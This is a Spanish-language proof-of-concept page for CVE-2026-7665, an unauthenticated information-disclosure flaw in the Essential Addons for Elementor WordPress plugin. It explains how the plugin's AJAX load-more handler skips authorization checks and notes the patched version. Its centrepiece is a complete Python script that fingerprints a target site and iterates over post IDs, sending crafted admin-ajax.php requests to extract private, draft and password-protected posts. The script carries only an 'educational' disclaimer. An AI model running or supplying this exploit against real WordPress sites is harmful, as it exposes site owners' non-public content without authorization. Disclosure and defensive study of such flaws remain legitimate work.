
Exploit de prueba de concepto para CVE-2026-7665, una divulgación de información no autenticada en Essential Addons for Elementor, que permite la extracción de publicaciones de WordPress privadas, borradores y protegidas con contraseña.
| Campo | Detalle |
|---|---|
| ID CVE | CVE-2026-7665 |
| Gravedad | Media |
| Puntuación CVSS | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Plugin afectado | Essential Addons for Elementor |
| Versiones afectadas | ≤ 6.6.4 |
| Instalaciones activas | 1 000 000+ |
| CVE asignado por | Wordfence (CNA) |
| Divulgado | Junio de 2026 |
| Investigador | Anirudh Makkar |
El manejador AJAX ajax_load_more en Essential Addons for Elementor no verificaba la visibilidad de las publicaciones antes de devolver su contenido. Esto permitía que atacantes no autenticados leyeran publicaciones privadas, protegidas con contraseña y borradores de WordPress mediante una solicitud manipulada a wp-admin/admin-ajax.php — sin necesidad de autenticación ni nonce.
El plugin registra un manejador en el hook de acción wp_ajax_nopriv_eael_post_grid_load_more, haciéndolo accesible a visitantes no autenticados. Cuando este manejador ejecuta un WP_Query para obtener las publicaciones de la función de paginación "cargar más", no llama a current_user_can('read_post', $post_id) ni verifica get_post_status() contra las capacidades del usuario solicitante.
WordPress básico confía en que los plugins apliquen la autorización a nivel de publicación en los manejadores AJAX — no lo hace automáticamente. La ausencia de esta verificación significa que el manejador devuelve el contenido completo de la publicación sin considerar su configuración de visibilidad.
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // se devuelven todos los estados
...
])
→ [devuelve el contenido completo de la publicación sin verificación de autorización]
Un atacante no autenticado puede enumerar y leer:
Esto puede exponer contenido empresarial sensible, anuncios no publicados, documentación interna publicada como publicaciones de WordPress o cualquier otro contenido no público gestionado a través del editor de WordPress.
#!/usr/bin/env python3
"""
CVE-2026-7665 — Divulgación de Información No Autenticada
Essential Addons for Elementor <= 6.6.4
Uso: python3 poc.py https://ejemplo.com [post_id]
Itera IDs de publicaciones para extraer contenido privado/borrador/protegido con contraseña.
Solo con fines educativos y de pruebas autorizadas.
"""
import requests
import sys
import json
def check_target(base_url):
"""Verifica si el plugin está presente."""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"Uso: {sys.argv[0]} <url_objetivo> [id_inicio] [id_fin]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] Objetivo: {target}")
print(f"[*] Probando IDs de publicación {start_id}–{end_id}")
if not check_target(target):
print("[!] Plugin no detectado — el objetivo puede estar parcheado o no ejecutar EAEL")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] ID de publicación {pid} — contenido expuesto ({len(result)} bytes)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] Hecho. {found} publicación(es) con contenido expuesto encontrada(s).")
if __name__ == "__main__":
main()
Actualice Essential Addons for Elementor a la versión 6.6.5 o superior.
La corrección añade una verificación current_user_can('read_post', $post_id) dentro del manejador de carga adicional antes de incluir cualquier publicación en los resultados de la consulta.
Reportado por Anirudh Makkar · LinkedIn